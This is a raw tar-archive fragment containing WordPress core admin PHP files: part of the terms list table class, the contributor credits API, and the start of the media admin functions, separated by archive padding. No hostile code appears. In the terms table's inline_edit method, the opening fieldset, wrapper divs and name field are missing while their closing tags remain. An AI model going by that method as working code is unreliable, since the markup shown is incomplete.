add_action( 'admin_init', array( 'WP_Privacy_Policy_Content', 'add_suggested_content' ), 1 );

// Update the cached policy info when the policy page is updated.
add_action( 'post_updated', array( 'WP_Privacy_Policy_Content', '_policy_page_updated' ) );

// Append '(Draft)' to draft page titles in the privacy page dropdown.
add_filter( 'list_pages', '_wp_privacy_settings_filter_draft_page_titles', 10, 2 );
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-terms-list-table.php�����������������������������������������������������������������������0000604�����������������00000045132�15075125354�0012204 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Terms_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying terms in a list table.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_Terms_List_Table extends WP_List_Table {

public $callback_args;

private $level;

/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global string $post_type
	 * @global string $taxonomy
	 * @global string $action
	 * @global object $tax
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $post_type, $taxonomy, $action, $tax;

parent::__construct(
			array(
				'plural'   => 'tags',
				'singular' => 'tag',
				'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

$action    = $this->screen->action;
		$post_type = $this->screen->post_type;
		$taxonomy  = $this->screen->taxonomy;

if ( empty( $taxonomy ) ) {
			$taxonomy = 'post_tag';
		}

if ( ! taxonomy_exists( $taxonomy ) ) {
			wp_die( __( 'Invalid taxonomy.' ) );
		}

$tax = get_taxonomy( $taxonomy );

// @todo Still needed? Maybe just the show_ui part.
		if ( empty( $post_type ) || ! in_array( $post_type, get_post_types( array( 'show_ui' => true ) ), true ) ) {
			$post_type = 'post';
		}

}

/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->manage_terms );
	}

/**
	 */
	public function prepare_items() {
		$tags_per_page = $this->get_items_per_page( 'edit_' . $this->screen->taxonomy . '_per_page' );

if ( 'post_tag' === $this->screen->taxonomy ) {
			/**
			 * Filters the number of terms displayed per page for the Tags list table.
			 *
			 * @since 2.8.0
			 *
			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
			 */
			$tags_per_page = apply_filters( 'edit_tags_per_page', $tags_per_page );

/**
			 * Filters the number of terms displayed per page for the Tags list table.
			 *
			 * @since 2.7.0
			 * @deprecated 2.8.0 Use {@see 'edit_tags_per_page'} instead.
			 *
			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
			 */
			$tags_per_page = apply_filters_deprecated( 'tagsperpage', array( $tags_per_page ), '2.8.0', 'edit_tags_per_page' );
		} elseif ( 'category' === $this->screen->taxonomy ) {
			/**
			 * Filters the number of terms displayed per page for the Categories list table.
			 *
			 * @since 2.8.0
			 *
			 * @param int $tags_per_page Number of categories to be displayed. Default 20.
			 */
			$tags_per_page = apply_filters( 'edit_categories_per_page', $tags_per_page );
		}

$search = ! empty( $_REQUEST['s'] ) ? trim( wp_unslash( $_REQUEST['s'] ) ) : '';

$args = array(
			'search' => $search,
			'page'   => $this->get_pagenum(),
			'number' => $tags_per_page,
		);

if ( ! empty( $_REQUEST['orderby'] ) ) {
			$args['orderby'] = trim( wp_unslash( $_REQUEST['orderby'] ) );
		}

if ( ! empty( $_REQUEST['order'] ) ) {
			$args['order'] = trim( wp_unslash( $_REQUEST['order'] ) );
		}

$this->callback_args = $args;

$this->set_pagination_args(
			array(
				'total_items' => wp_count_terms( $this->screen->taxonomy, compact( 'search' ) ),
				'per_page'    => $tags_per_page,
			)
		);
	}

/**
	 * @return bool
	 */
	public function has_items() {
		// @todo Populate $this->items in prepare_items().
		return true;
	}

/**
	 */
	public function no_items() {
		echo get_taxonomy( $this->screen->taxonomy )->labels->not_found;
	}

/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();

if ( current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->delete_terms ) ) {
			$actions['delete'] = __( 'Delete' );
		}

return $actions;
	}

/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['delete_tags'] ) && ( 'delete' === $_REQUEST['action'] || 'delete' === $_REQUEST['action2'] ) ) {
			return 'bulk-delete';
		}

return parent::current_action();
	}

/**
	 * @return array
	 */
	public function get_columns() {
		$columns = array(
			'cb'          => '<input type="checkbox" />',
			'name'        => _x( 'Name', 'term name' ),
			'description' => __( 'Description' ),
			'slug'        => __( 'Slug' ),
		);

if ( 'link_category' === $this->screen->taxonomy ) {
			$columns['links'] = __( 'Links' );
		} else {
			$columns['posts'] = _x( 'Count', 'Number/count of items' );
		}

return $columns;
	}

/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'name'        => 'name',
			'description' => 'description',
			'slug'        => 'slug',
			'posts'       => 'count',
			'links'       => 'count',
		);
	}

/**
	 */
	public function display_rows_or_placeholder() {
		$taxonomy = $this->screen->taxonomy;

$args = wp_parse_args(
			$this->callback_args,
			array(
				'taxonomy'   => $taxonomy,
				'page'       => 1,
				'number'     => 20,
				'search'     => '',
				'hide_empty' => 0,
			)
		);

$page = $args['page'];

// Set variable because $args['number'] can be subsequently overridden.
		$number = $args['number'];

$offset         = ( $page - 1 ) * $number;
		$args['offset'] = $offset;

// Convert it to table rows.
		$count = 0;

if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) {
			// We'll need the full set of terms then.
			$args['number'] = 0;
			$args['offset'] = $args['number'];
		}

$terms = get_terms( $args );

if ( empty( $terms ) || ! is_array( $terms ) ) {
			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
			$this->no_items();
			echo '</td></tr>';
			return;
		}

if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) {
			if ( ! empty( $args['search'] ) ) {// Ignore children on searches.
				$children = array();
			} else {
				$children = _get_term_hierarchy( $taxonomy );
			}

/*
			 * Some funky recursion to get the job done (paging & parents mainly) is contained within.
			 * Skip it for non-hierarchical taxonomies for performance sake.
			 */
			$this->_rows( $taxonomy, $terms, $children, $offset, $number, $count );
		} else {
			foreach ( $terms as $term ) {
				$this->single_row( $term );
			}
		}
	}

/**
	 * @param string $taxonomy
	 * @param array  $terms
	 * @param array  $children
	 * @param int    $start
	 * @param int    $per_page
	 * @param int    $count
	 * @param int    $parent
	 * @param int    $level
	 */
	private function _rows( $taxonomy, $terms, &$children, $start, $per_page, &$count, $parent = 0, $level = 0 ) {

$end = $start + $per_page;

foreach ( $terms as $key => $term ) {

if ( $count >= $end ) {
				break;
			}

if ( $term->parent != $parent && empty( $_REQUEST['s'] ) ) {
				continue;
			}

// If the page starts in a subtree, print the parents.
			if ( $count == $start && $term->parent > 0 && empty( $_REQUEST['s'] ) ) {
				$my_parents = array();
				$parent_ids = array();
				$p          = $term->parent;
				while ( $p ) {
					$my_parent    = get_term( $p, $taxonomy );
					$my_parents[] = $my_parent;
					$p            = $my_parent->parent;
					if ( in_array( $p, $parent_ids, true ) ) { // Prevent parent loops.
						break;
					}
					$parent_ids[] = $p;
				}
				unset( $parent_ids );

$num_parents = count( $my_parents );
				while ( $my_parent = array_pop( $my_parents ) ) {
					echo "\t";
					$this->single_row( $my_parent, $level - $num_parents );
					$num_parents--;
				}
			}

if ( $count >= $start ) {
				echo "\t";
				$this->single_row( $term, $level );
			}

++$count;

unset( $terms[ $key ] );

if ( isset( $children[ $term->term_id ] ) && empty( $_REQUEST['s'] ) ) {
				$this->_rows( $taxonomy, $terms, $children, $start, $per_page, $count, $term->term_id, $level + 1 );
			}
		}
	}

/**
	 * @global string $taxonomy
	 * @param WP_Term $tag   Term object.
	 * @param int     $level
	 */
	public function single_row( $tag, $level = 0 ) {
		global $taxonomy;
		$tag = sanitize_term( $tag, $taxonomy );

$this->level = $level;

if ( $tag->parent ) {
			$count = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
			$level = 'level-' . $count;
		} else {
			$level = 'level-0';
		}

echo '<tr id="tag-' . $tag->term_id . '" class="' . $level . '">';
		$this->single_row_columns( $tag );
		echo '</tr>';
	}

/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_cb( $tag ) {
		if ( current_user_can( 'delete_term', $tag->term_id ) ) {
			return sprintf(
				'<label class="screen-reader-text" for="cb-select-%1$s">%2$s</label>' .
				'<input type="checkbox" name="delete_tags[]" value="%1$s" id="cb-select-%1$s" />',
				$tag->term_id,
				/* translators: %s: Taxonomy term name. */
				sprintf( __( 'Select %s' ), $tag->name )
			);
		}

return '&nbsp;';
	}

/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_name( $tag ) {
		$taxonomy = $this->screen->taxonomy;

$pad = str_repeat( '&#8212; ', max( 0, $this->level ) );

/**
		 * Filters display of the term name in the terms list table.
		 *
		 * The default output may include padding due to the term's
		 * current level in the term hierarchy.
		 *
		 * @since 2.5.0
		 *
		 * @see WP_Terms_List_Table::column_name()
		 *
		 * @param string $pad_tag_name The term name, padded if not top-level.
		 * @param WP_Term $tag         Term object.
		 */
		$name = apply_filters( 'term_name', $pad . ' ' . $tag->name, $tag );

$qe_data = get_term( $tag->term_id, $taxonomy, OBJECT, 'edit' );

$uri = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI'];

$edit_link = get_edit_term_link( $tag->term_id, $taxonomy, $this->screen->post_type );

if ( $edit_link ) {
			$edit_link = add_query_arg(
				'wp_http_referer',
				urlencode( wp_unslash( $uri ) ),
				$edit_link
			);
			$name      = sprintf(
				'<a class="row-title" href="%s" aria-label="%s">%s</a>',
				esc_url( $edit_link ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $tag->name ) ),
				$name
			);
		}

$out = sprintf(
			'<strong>%s</strong><br />',
			$name
		);

$out .= '<div class="hidden" id="inline_' . $qe_data->term_id . '">';
		$out .= '<div class="name">' . $qe_data->name . '</div>';

/** This filter is documented in wp-admin/edit-tag-form.php */
		$out .= '<div class="slug">' . apply_filters( 'editable_slug', $qe_data->slug, $qe_data ) . '</div>';
		$out .= '<div class="parent">' . $qe_data->parent . '</div></div>';

return $out;
	}

/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'name'.
	 */
	protected function get_default_primary_column_name() {
		return 'name';
	}

/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Term $tag         Tag being acted upon.
	 * @param string  $column_name Current column name.
	 * @param string  $primary     Primary column name.
	 * @return string Row actions output for terms, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $tag, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

$taxonomy = $this->screen->taxonomy;
		$tax      = get_taxonomy( $taxonomy );
		$uri      = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI'];

$edit_link = add_query_arg(
			'wp_http_referer',
			urlencode( wp_unslash( $uri ) ),
			get_edit_term_link( $tag->term_id, $taxonomy, $this->screen->post_type )
		);

$actions = array();
		if ( current_user_can( 'edit_term', $tag->term_id ) ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				esc_url( $edit_link ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $tag->name ) ),
				__( 'Edit' )
			);
			$actions['inline hide-if-no-js'] = sprintf(
				'<button type="button" class="button-link editinline" aria-label="%s" aria-expanded="false">%s</button>',
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'Quick edit &#8220;%s&#8221; inline' ), $tag->name ) ),
				__( 'Quick&nbsp;Edit' )
			);
		}
		if ( current_user_can( 'delete_term', $tag->term_id ) ) {
			$actions['delete'] = sprintf(
				'<a href="%s" class="delete-tag aria-button-if-js" aria-label="%s">%s</a>',
				wp_nonce_url( "edit-tags.php?action=delete&amp;taxonomy=$taxonomy&amp;tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'Delete &#8220;%s&#8221;' ), $tag->name ) ),
				__( 'Delete' )
			);
		}
		if ( is_taxonomy_viewable( $tax ) ) {
			$actions['view'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				get_term_link( $tag ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'View &#8220;%s&#8221; archive' ), $tag->name ) ),
				__( 'View' )
			);
		}

/**
		 * Filters the action links displayed for each term in the Tags list table.
		 *
		 * @since 2.8.0
		 * @since 3.0.0 Deprecated in favor of {@see '{$taxonomy}_row_actions'} filter.
		 * @since 5.4.2 Restored (un-deprecated).
		 *
		 * @param string[] $actions An array of action links to be displayed. Default
		 *                          'Edit', 'Quick Edit', 'Delete', and 'View'.
		 * @param WP_Term  $tag     Term object.
		 */
		$actions = apply_filters( 'tag_row_actions', $actions, $tag );

/**
		 * Filters the action links displayed for each term in the terms list table.
		 *
		 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $actions An array of action links to be displayed. Default
		 *                          'Edit', 'Quick Edit', 'Delete', and 'View'.
		 * @param WP_Term  $tag     Term object.
		 */
		$actions = apply_filters( "{$taxonomy}_row_actions", $actions, $tag );

return $this->row_actions( $actions );
	}

/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_description( $tag ) {
		if ( $tag->description ) {
			return $tag->description;
		} else {
			return '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . __( 'No description' ) . '</span>';
		}
	}

/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_slug( $tag ) {
		/** This filter is documented in wp-admin/edit-tag-form.php */
		return apply_filters( 'editable_slug', $tag->slug, $tag );
	}

/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_posts( $tag ) {
		$count = number_format_i18n( $tag->count );

$tax = get_taxonomy( $this->screen->taxonomy );

$ptype_object = get_post_type_object( $this->screen->post_type );
		if ( ! $ptype_object->show_ui ) {
			return $count;
		}

if ( $tax->query_var ) {
			$args = array( $tax->query_var => $tag->slug );
		} else {
			$args = array(
				'taxonomy' => $tax->name,
				'term'     => $tag->slug,
			);
		}

if ( 'post' !== $this->screen->post_type ) {
			$args['post_type'] = $this->screen->post_type;
		}

if ( 'attachment' === $this->screen->post_type ) {
			return "<a href='" . esc_url( add_query_arg( $args, 'upload.php' ) ) . "'>$count</a>";
		}

return "<a href='" . esc_url( add_query_arg( $args, 'edit.php' ) ) . "'>$count</a>";
	}

/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_links( $tag ) {
		$count = number_format_i18n( $tag->count );
		if ( $count ) {
			$count = "<a href='link-manager.php?cat_id=$tag->term_id'>$count</a>";
		}
		return $count;
	}

/**
	 * @param WP_Term $tag         Term object.
	 * @param string  $column_name Name of the column.
	 * @return string
	 */
	public function column_default( $tag, $column_name ) {
		/**
		 * Filters the displayed columns in the terms list table.
		 *
		 * The dynamic portion of the hook name, `$this->screen->taxonomy`,
		 * refers to the slug of the current taxonomy.
		 *
		 * @since 2.8.0
		 *
		 * @param string $string      Blank string.
		 * @param string $column_name Name of the column.
		 * @param int    $term_id     Term ID.
		 */
		return apply_filters( "manage_{$this->screen->taxonomy}_custom_column", '', $column_name, $tag->term_id );
	}

/**
	 * Outputs the hidden row displayed when inline editing
	 *
	 * @since 3.1.0
	 */
	public function inline_edit() {
		$tax = get_taxonomy( $this->screen->taxonomy );

if ( ! current_user_can( $tax->cap->edit_terms ) ) {
			return;
		}
		?>

<tr id="inline-edit" class="inline-edit-row" style="display: none">
			<td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">

<?php if ( ! global_terms_enabled() ) : ?>
					<label>
						<span class="title"><?php _e( 'Slug' ); ?></span>
						<span class="input-text-wrap"><input type="text" name="slug" class="ptitle" value="" /></span>
					</label>
				<?php endif; ?>
				</div>
			</fieldset>

<?php
			$core_columns = array(
				'cb'          => true,
				'description' => true,
				'name'        => true,
				'slug'        => true,
				'posts'       => true,
			);

list( $columns ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) {
				if ( isset( $core_columns[ $column_name ] ) ) {
					continue;
				}

/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
				do_action( 'quick_edit_custom_box', $column_name, 'edit-tags', $this->screen->taxonomy );
			}
			?>

<div class="inline-edit-save submit">
				<button type="button" class="cancel button alignleft"><?php _e( 'Cancel' ); ?></button>
				<button type="button" class="save button button-primary alignright"><?php echo $tax->labels->update_item; ?></button>
				<span class="spinner"></span>

<?php wp_nonce_field( 'taxinlineeditnonce', '_inline_edit', false ); ?>
				<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $this->screen->taxonomy ); ?>" />
				<input type="hidden" name="post_type" value="<?php echo esc_attr( $this->screen->post_type ); ?>" />
				<br class="clear" />

</td></tr>

</tbody></table>
		</form>
		<?php
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������credits.php�����������������������������������������������������������������������������������������0000604�����������������00000012655�15075125354�0006726 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Credits Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Retrieve the contributor credits.
 *
 * @since 3.2.0
 *
 * @return array|false A list of all of the contributors, or false on error.
 */
function wp_credits() {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

$locale = get_user_locale();

$results = get_site_transient( 'wordpress_credits_' . $locale );

if ( ! is_array( $results )
		|| false !== strpos( $wp_version, '-' )
		|| ( isset( $results['data']['version'] ) && strpos( $wp_version, $results['data']['version'] ) !== 0 )
	) {
		$url     = "http://api.wordpress.org/core/credits/1.1/?version={$wp_version}&locale={$locale}";
		$options = array( 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ) );

if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

$response = wp_remote_get( $url, $options );

if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) {
			return false;
		}

$results = json_decode( wp_remote_retrieve_body( $response ), true );

if ( ! is_array( $results ) ) {
			return false;
		}

set_site_transient( 'wordpress_credits_' . $locale, $results, DAY_IN_SECONDS );
	}

return $results;
}

/**
 * Retrieve the link to a contributor's WordPress.org profile page.
 *
 * @access private
 * @since 3.2.0
 *
 * @param string $display_name  The contributor's display name (passed by reference).
 * @param string $username      The contributor's username.
 * @param string $profiles      URL to the contributor's WordPress.org profile page.
 */
function _wp_credits_add_profile_link( &$display_name, $username, $profiles ) {
	$display_name = '<a href="' . esc_url( sprintf( $profiles, $username ) ) . '">' . esc_html( $display_name ) . '</a>';
}

/**
 * Retrieve the link to an external library used in WordPress.
 *
 * @access private
 * @since 3.2.0
 *
 * @param string $data External library data (passed by reference).
 */
function _wp_credits_build_object_link( &$data ) {
	$data = '<a href="' . esc_url( $data[1] ) . '">' . esc_html( $data[0] ) . '</a>';
}

/**
 * Displays the title for a given group of contributors.
 *
 * @since 5.3.0
 *
 * @param array $group_data The current contributor group.
 */
function wp_credits_section_title( $group_data = array() ) {
	if ( ! count( $group_data ) ) {
		return;
	}

if ( $group_data['name'] ) {
		if ( 'Translators' === $group_data['name'] ) {
			// Considered a special slug in the API response. (Also, will never be returned for en_US.)
			$title = _x( 'Translators', 'Translate this to be the equivalent of English Translators in your language for the credits page Translators section' );
		} elseif ( isset( $group_data['placeholders'] ) ) {
			// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
			$title = vsprintf( translate( $group_data['name'] ), $group_data['placeholders'] );
		} else {
			// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
			$title = translate( $group_data['name'] );
		}

echo '<h2 class="wp-people-group-title">' . esc_html( $title ) . "</h2>\n";
	}
}

/**
 * Displays a list of contributors for a given group.
 *
 * @since 5.3.0
 *
 * @param array  $credits The credits groups returned from the API.
 * @param string $slug    The current group to display.
 */
function wp_credits_section_list( $credits = array(), $slug = '' ) {
	$group_data   = isset( $credits['groups'][ $slug ] ) ? $credits['groups'][ $slug ] : array();
	$credits_data = $credits['data'];
	if ( ! count( $group_data ) ) {
		return;
	}

if ( ! empty( $group_data['shuffle'] ) ) {
		shuffle( $group_data['data'] ); // We were going to sort by ability to pronounce "hierarchical," but that wouldn't be fair to Matt.
	}

switch ( $group_data['type'] ) {
		case 'list':
			array_walk( $group_data['data'], '_wp_credits_add_profile_link', $credits_data['profiles'] );
			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
			break;
		case 'libraries':
			array_walk( $group_data['data'], '_wp_credits_build_object_link' );
			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
			break;
		default:
			$compact = 'compact' === $group_data['type'];
			$classes = 'wp-people-group ' . ( $compact ? 'compact' : '' );
			echo '<ul class="' . $classes . '" id="wp-people-group-' . $slug . '">' . "\n";
			foreach ( $group_data['data'] as $person_data ) {
				echo '<li class="wp-person" id="wp-person-' . esc_attr( $person_data[2] ) . '">' . "\n\t";
				echo '<a href="' . esc_url( sprintf( $credits_data['profiles'], $person_data[2] ) ) . '" class="web">';
				$size   = $compact ? 40 : 80;
				$data   = get_avatar_data( $person_data[1] . '@md5.gravatar.com', array( 'size' => $size ) );
				$data2x = get_avatar_data( $person_data[1] . '@md5.gravatar.com', array( 'size' => $size * 2 ) );
				echo '<img src="' . esc_url( $data['url'] ) . '" srcset="' . esc_url( $data2x['url'] ) . ' 2x" class="gravatar" alt="" />' . "\n";
				echo esc_html( $person_data[0] ) . "</a>\n\t";
				if ( ! $compact ) {
					// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
					echo '<span class="title">' . translate( $person_data[3] ) . "</span>\n";
				}
				echo "</li>\n";
			}
			echo "</ul>\n";
			break;
	}
}
�����������������������������������������������������������������������������������media.php�������������������������������������������������������������������������������������������0000604�����������������00000337744�15075125354�0006361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Administration Media API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Defines the default media upload tabs
 *
 * @since 2.5.0
 *
 * @return string[] Default tabs.
 */
function media_upload_tabs() {
	$_default_tabs = array(
		'type'     => __( 'From Computer' ), // Handler action suffix => tab text.
		'type_url' => __( 'From URL' ),
		'gallery'  => __( 'Gallery' ),
		'library'  => __( 'Media Library' ),
	);

/**
	 * Filters the available tabs in the legacy (pre-3.5.0) media popup.
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $_default_tabs An array of media tabs.
	 */
	return apply_filters( 'media_upload_tabs', $_default_tabs );
}

/**
 * Adds the gallery tab back to the tabs array if post has image attachments
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $tabs
 * @return array $tabs with gallery if post has image attachment
 */
function update_gallery_tab( $tabs ) {
	global $wpdb;

if ( ! isset( $_REQUEST['post_id'] ) ) {
		unset( $tabs['gallery'] );
		return $tabs;
	}

$post_id = intval( $_REQUEST['post_id'] );

if ( $post_id ) {
		$attachments = intval( $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) ) );
	}

if ( empty( $attachments ) ) {
		unset( $tabs['gallery'] );
		return $tabs;
	}

/* translators: %s: Number of attachments. */
	$tabs['gallery'] = sprintf( __( 'Gallery (%s)' ), "<span id='attachments-count'>$attachments</span>" );

return $tabs;
}

/**
 * Outputs the legacy media upload tabs UI.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 */
function the_media_upload_tabs() {
	global $redir_tab;
	$tabs    = media_upload_tabs();
	$default = 'type';

if ( ! empty( $tabs ) ) {
		echo "<ul id='sidemenu'>\n";

if ( isset( $redir_tab ) && array_key_exists( $redir_tab, $tabs ) ) {
			$current = $redir_tab;
		} elseif ( isset( $_GET['tab'] ) && array_key_exists( $_GET['tab'], $tabs ) ) {
			$current = $_GET['tab'];
		} else {
			/** This filter is documented in wp-admin/media-upload.php */
			$current = apply_filters( 'media_upload_default_tab', $default );
		}

foreach ( $tabs as $callback => $text ) {
			$class = '';

if ( $current == $callback ) {
				$class = " class='current'";
			}

$href = add_query_arg(
				array(
					'tab'            => $callback,
					's'              => false,
					'paged'          => false,
					'post_mime_type' => false,
					'm'              => false,
				)
			);
			$link = "<a href='" . esc_url( $href ) . "'$class>$text</a>";
			echo "\t<li id='" . esc_attr( "tab-$callback" ) . "'>$link</li>\n";
		}

echo "</ul>\n";
	}
}

/**
 * Retrieves the image HTML to send to the editor.
 *
 * @since 2.5.0
 *
 * @param int          $id      Image attachment ID.
 * @param string       $caption Image caption.
 * @param string       $title   Image title attribute.
 * @param string       $align   Image CSS alignment property.
 * @param string       $url     Optional. Image src URL. Default empty.
 * @param bool|string  $rel     Optional. Value for rel attribute or whether to add a default value. Default false.
 * @param string|array $size    Optional. Image size. Accepts any valid image size, or an array of width
 *                              and height values in pixels (in that order). Default 'medium'.
 * @param string       $alt     Optional. Image alt attribute. Default empty.
 * @return string The HTML output to insert into the editor.
 */
function get_image_send_to_editor( $id, $caption, $title, $align, $url = '', $rel = false, $size = 'medium', $alt = '' ) {

$html = get_image_tag( $id, $alt, '', $align, $size );

if ( $rel ) {
		if ( is_string( $rel ) ) {
			$rel = ' rel="' . esc_attr( $rel ) . '"';
		} else {
			$rel = ' rel="attachment wp-att-' . intval( $id ) . '"';
		}
	} else {
		$rel = '';
	}

if ( $url ) {
		$html = '<a href="' . esc_attr( $url ) . '"' . $rel . '>' . $html . '</a>';
	}

/**
	 * Filters the image HTML markup to send to the editor when inserting an image.
	 *
	 * @since 2.5.0
	 *
	 * @param string       $html    The image HTML markup to send.
	 * @param int          $id      The attachment ID.
	 * @param string       $caption The image caption.
	 * @param string       $title   The image title.
	 * @param string       $align   The image alignment.
	 * @param string       $url     The image source URL.
	 * @param string|array $size    Size of image. Image size or array of width and height values
	 *                              (in that order). Default 'medium'.
	 * @param string       $alt     The image alternative, or alt, text.
	 */
	$html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt );

return $html;
}

/**
 * Adds image shortcode with caption to editor.
 *
 * @since 2.6.0
 *
 * @param string  $html    The image HTML markup to send.
 * @param integer $id      Image attachment ID.
 * @param string  $caption Image caption.
 * @param string  $title   Image title attribute (not used).
 * @param string  $align   Image CSS alignment property.
 * @param string  $url     Image source URL (not used).
 * @param string  $size    Image size (`thumbnail`, `medium`, `large`, `full`, or added with `add_image_size()`) (not used).
 * @param string  $alt     Image `alt` attribute (not used).
 * @return string The image HTML markup with caption shortcode.
 */
function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) {

/**
	 * Filters the caption text.
	 *
	 * Note: If the caption text is empty, the caption shortcode will not be appended
	 * to the image HTML when inserted into the editor.
	 *
	 * Passing an empty value also prevents the {@see 'image_add_caption_shortcode'}
	 * Filters from being evaluated at the end of image_add_caption().
	 *
	 * @since 4.1.0
	 *
	 * @param string $caption The original caption text.
	 * @param int    $id      The attachment ID.
	 */
	$caption = apply_filters( 'image_add_caption_text', $caption, $id );

/**
	 * Filters whether to disable captions.
	 *
	 * Prevents image captions from being appended to image HTML when inserted into the editor.
	 *
	 * @since 2.6.0
	 *
	 * @param bool $bool Whether to disable appending captions. Returning true from the filter
	 *                   will disable captions. Default empty string.
	 */
	if ( empty( $caption ) || apply_filters( 'disable_captions', '' ) ) {
		return $html;
	}

$id = ( 0 < (int) $id ) ? 'attachment_' . $id : '';

if ( ! preg_match( '/width=["\']([0-9]+)/', $html, $matches ) ) {
		return $html;
	}

$width = $matches[1];

$caption = str_replace( array( "\r\n", "\r" ), "\n", $caption );
	$caption = preg_replace_callback( '/<[a-zA-Z0-9]+(?: [^<>]+>)*/', '_cleanup_image_add_caption', $caption );

// Convert any remaining line breaks to <br />.
	$caption = preg_replace( '/[ \n\t]*\n[ \t]*/', '<br />', $caption );

$html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html );
	if ( empty( $align ) ) {
		$align = 'none';
	}

$shcode = '[caption id="' . $id . '" align="align' . $align . '" width="' . $width . '"]' . $html . ' ' . $caption . '[/caption]';

/**
	 * Filters the image HTML markup including the caption shortcode.
	 *
	 * @since 2.6.0
	 *
	 * @param string $shcode The image HTML markup with caption shortcode.
	 * @param string $html   The image HTML markup.
	 */
	return apply_filters( 'image_add_caption_shortcode', $shcode, $html );
}

/**
 * Private preg_replace callback used in image_add_caption().
 *
 * @access private
 * @since 3.4.0
 */
function _cleanup_image_add_caption( $matches ) {
	// Remove any line breaks from inside the tags.
